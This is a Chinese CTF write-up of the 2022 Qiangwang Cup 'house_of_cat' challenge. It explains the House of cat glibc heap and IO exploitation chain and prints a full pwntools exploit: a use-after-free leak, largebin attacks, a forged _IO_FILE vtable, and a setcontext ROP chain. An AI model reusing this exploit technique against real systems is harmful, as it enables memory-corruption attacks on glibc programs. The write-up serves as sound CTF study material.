catf1y师傅发现的一种IO利用手法,适用于任何版本(包括glibc2.35),命名为House of cat并出在2022强网杯中,此处贴出博文https://bbs.pediy.com/thread-273895.htm#msg_header_h3_6
1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert,或者程序中存在puts等能进入IO链的函数),执行IO相关函数。
程序要先输入指定字符串登录,逆向分析后可得
要先输入一次 :LOGIN | r00t QWB QWXFadmin
然后每次循环要输入:CAT | r00t QWB QWXF\xff$
(字符串不唯一,满足题目条件即可,注意要用send送,sendline多打一个/n导致我卡了许久)
才能成功进入到堆块管理函数
add功能
用的是calloc申请,size范围为[0x418~0x46f],最多申请0xf(15)次
delete功能
存在uaf漏洞
edit功能
只能edit两次,且每次最多0x30
show功能
常规的show
此外程序开启了沙盒
只能使用orw读取flag的同时,read的fd要为0
可以通过rop调用close(0)来使,调用read读取文件时的fd可以为0
1.先泄露出heap_base和libc_base
2.第一次largebin attack攻击,改stderr为我们的堆地址,在该堆地址上写入fake_IO
3.第二次largebin attack攻击,改top_chunk的size,再申请会触发malloc_assert,而malloc_assert里__fxprintf的它会根据stderr本应调用_IO_file_jumps的vtable结构里的 __xsputn,但我们控制了fake_IO修改了vtable虚表的偏移,导致它调用了_IO_wfile_jumps的__seekoff,加之我们控制内存,满足检测条件,会调用_IO_switch_to_wget_mode,最后调用_IO_WOVERFLOW。(这里都是通过偏移来调用),我们控制最后调用我们想要的函数,控制程序流,getshell
_IO_wfile_jumps->_IO_wfile_seekoff->_IO_switch_to_wget_mode->setcontext->orw
先贴出exp:
# coding=utf-8
from pwn import *
local_file = './house_of_cat'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib64/ld-linux-x86-64.so.2'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
elif select == 1:
r = remote('node4.buuoj.cn',25904 )
libc = ELF(remote_libc)
else:
r = gdb.debug(local_file)
libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
#------------------------
def add(idx,size,content):
sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')
sla('plz input your cat choice:\n','1')
sla('plz input your cat idx:\n',str(idx))
sla('plz input your cat size:\n',str(size))
sea('plz input your content:\n',content)
def delete(idx):
sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')
sla('plz input your cat choice:\n','2')
sla('plz input your cat idx:\n',str(idx))
def show(idx):
sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')
sla('plz input your cat choice:\n','3')
sla('plz input your cat idx:\n',str(idx))
def edit(idx,content):
sea('mew mew mew~~~~~~\n','CAT | r00t QWB QWXF\xff$')
sla('plz input your cat choice:\n','4')
sla('plz input your cat idx:\n',str(idx))
sla('plz input your content:\n',content)
sea('mew mew mew~~~~~~\n','LOGIN | r00t QWB QWXFadmin')
#-----------leak_libc,heap_addr----------------
add(0,0x420,'aaaa')
add(1,0x430,'aaaa')
add(2,0x418,'aaaa')
delete(0)
add(3,0x430,'aaaa')
show(0)
main_arena =uu64(ru('\x7f')[-6:])-1104
libc_base=main_arena-0x219C80
info('libc_base',libc_base)
rc(10)
heap_base=uu64(rc(6))-0x290
info('heap_base',heap_base)
pop_rdi=libc_base+0x000000000002a3e5 # pop rdi ; ret
pop_rsi=libc_base+0x000000000002be51 # pop rsi ; ret
pop_rdx_r12=libc_base+0x000000000011f497 # pop rdx ; pop r12 ; ret
ret=libc_base+0x0000000000029cd6 # ret
pop_rax=libc_base+0x0000000000045eb0 # pop rax ; ret
stderr=libc_base+libc.sym['stderr']
setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
syscall=libc_base+0x913B5 #syscall ; ret
#debug()
#-----------fake_IO_file-------------------
fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
payload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)
flag_addr=heap_base+0x1c00
#-------orw----------------------------
orw=flat(pop_rdi,0,close)
orw+=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)
#--------------large_bin_attack1----------------------
delete(2)
add(6,0x418,payload1)
target=stderr
edit(0,flat(main_arena+1104,main_arena+1104,heap_base+0x290,target-0x20))
delete(6)
add(4,0x430,'aaaa')
#debug()
#--------------large_bin_attack2-------------------------
add(5,0x440,'small')
add(7,0x430,'flag')
add(8,0x430,'big')
delete(5)
add(9,0x450,orw)
delete(8)
target=heap_base+0x28d0+3
edit(5,flat(main_arena+1120,main_arena+1120,heap_base+0x17a0,target-0x20))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
#gdb.attach(r,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))
r.interactive()
先释放一个堆到unsortbin中,再申请一个大于这个size的堆,就会放到largebin中,
此时这个largebin中的chunk同时存在libc地址和heap地址
uaf配合show功能即可泄露两者
add(0,0x420,'aaaa')
add(1,0x430,'aaaa')
add(2,0x418,'aaaa')
delete(0)
add(3,0x430,'aaaa')
show(0)
main_arena =uu64(ru('\x7f')[-6:])-1104
libc_base=main_arena-0x219C80
info('libc_base',libc_base)
rc(10)
heap_base=uu64(rc(6))-0x290
info('heap_base',heap_base)
pop_rdi=libc_base+0x000000000002a3e5 # pop rdi ; ret
pop_rsi=libc_base+0x000000000002be51 # pop rsi ; ret
pop_rdx_r12=libc_base+0x000000000011f497 # pop rdx ; pop r12 ; ret
ret=libc_base+0x0000000000029cd6 # ret
pop_rax=libc_base+0x0000000000045eb0 # pop rax ; ret
stderr=libc_base+libc.sym['stderr']
setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
syscall=libc_base+0x913B5 #syscall ; ret
题目中两次edit,对应两次largebin attack
libc2.31后的largebin attack:
我们能控制在large_bin中的chunkA的bk_nextsize为target-0x20(target就是我们要改写的地址)
然后如果有个在unsortbin中的chunkB,A的size要大于B的size,接着我们申请一个大于B的size的堆,
B就会放到largebin里,然后我们可以发现target就被改写为了B这个堆的地址
fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
payload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)
flag_addr=heap_base+0x1c00
#--------------large_bin_attack1----------------------
delete(2)
add(6,0x418,payload1)
target=stderr
edit(0,flat(main_arena+1104,main_arena+1104,heap_base+0x290,target-0x20))
delete(6)
add(4,0x430,'aaaa')
#-------orw----------------------------
orw=flat(pop_rdi,0,close)
orw+=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)
#--------------large_bin_attack2-------------------------
add(5,0x440,'small')
add(7,0x430,'flag')
add(8,0x430,'big')
delete(5)
add(9,0x450,orw)
delete(8)
target=heap_base+0x28d0+3
edit(5,flat(main_arena+1120,main_arena+1120,heap_base+0x17a0,target-0x20))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
#gdb.attach(r,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))
在最后calloc触发前gdb.attach
程序执行到calloc,si进入
ni一步步执行到int_malloc,si进入
一直ni,会执行到sysmalloc,si进入
我们继续ni,会发现会执行malloc_assert,(因为我们改了topchunk的size为55)
__malloc_assert源码:
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
继续ni,当程序执行到__fxprintf时,si进入
执行到locked_vfxprintf,si进入
执行到__vfwprintf_internal,si进入
可以发现call的是rbp+0x38,而此时rbp是vtable我们改的指针指向_IO_wfile_jumps+16
其实本应call的vtable是_IO_file_jumps+0x38
也就是_IO_file_jumps的vtable结构里的 __xsputn
我们把vtable改为_IO_wfile_jumps+16
因为vtable虚表偏移了,它被指向了_IO_wfile_jumps的__seekoff
就是说原本要调用_IO_file_jumps-> __xsputn变为了调用_IO_wfile_jumps->__seekoff
(注意这里_IO_file_jumps,_IO_wfile_jumps不是同一个东西,只是结构相同)
接下来为了调试方便断点设在
gdb.attach(r,‘b* (_IO_wfile_seekoff)’)
_IO_wfile_seekoff源码:
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;
if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}
总之就是要满足fp->_wide_data->_IO_write_ptr 大于 fp->_wide_data->_IO_write_base 这个条件
然后调用_IO_switch_to_wget_mode
_IO_switch_to_wget_mode源码:
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}
然后要满足fp->_wide_data->_IO_write_ptr 大于 fp->_wide_data->_IO_write_base会调用_IO_WOVERFLOW
看汇编,其实都是一一对应的
最后这里的call qword ptr [rax + 0x18]就是我们要填的我们可以填setcontext+0x3d,或system之类的
假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax+ 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system(“/bin/sh”)
可以结合_IO_FILE结构对照看,这是程序原本的_IO_FILE
这是我们控制的fake_IO_file
这是我们fake_IO_fake
fake_io_addr=heap_base+0xb00 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE =p64(0)*6
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+0x3d)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x78,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0,b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
payload1=fake_IO_FILE+p64(0)*7+p64(heap_base+0x2480)+p64(ret)
我们控制 fp->_wide_data也就是rax1即[rax+0xa0] 为heap_base+0xb30
_wide_data->_IO_write_ptr就是[rax1+0x18],也就是heap_base+0xb30+0x18,值为0
_wide_data->_IO_write_base就是[rax1+0x20],也就是heap_base+0xb30+0x20,值为fake_io_addr+0xb0
满足了大于要求(jbe是小于等于跳转,反着理解一下就行)
接着会有个rax2,即[rax1+0xe0],我们控制为heap_base+0xb40
最后会有个call [rax2+0x18],也就是heap_base+0xb40+0x18的地方的值填我们想要call的函数地址
(当然这只是一种方便空间利用的做法,_wide_data的值我们也可以填其他的)
贴一下CatF1y师傅的图
这里rdi的值就是我们fake_IO的地址
(下面那个水印csdn自动加的,不知道咋去掉)
接下来是setcontext,orw读取flag的内容,
跳转至这
要关心的gadget也只有这三个
mov rsp, [rdx+0A0h]
...
push rcx
...
retn
离这最近的设置rdx的汇编是
mov rdx, qword ptr [rax + 0x20]
也就是 heap_base+0xb30+0x20地址的值我们设置为fake_io_addr+0xb0
(也就是把栈帧变到了到我们堆中rop_orw链的地址)
然后fake_io_addr+0xb0+0xa0的值我们设置为rop_orw链的地址
最后注意到有个push rcx 操作,要多加个ret
最后是orw部分:
先close改fd为0
然后orw读取flag即可调用
(注意open要用syscall,用sym[‘open’]的话会用openat,破坏寄存器的值)
orw=flat(pop_rdi,0,close)
orw+=flat(pop_rdi,flag_addr,pop_rsi,0,pop_rax,2,syscall)
orw+=flat(pop_rdi,0,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,read)
orw+=flat(pop_rdi,1,pop_rsi,flag_addr,pop_rdx_r12,0x50,0,write)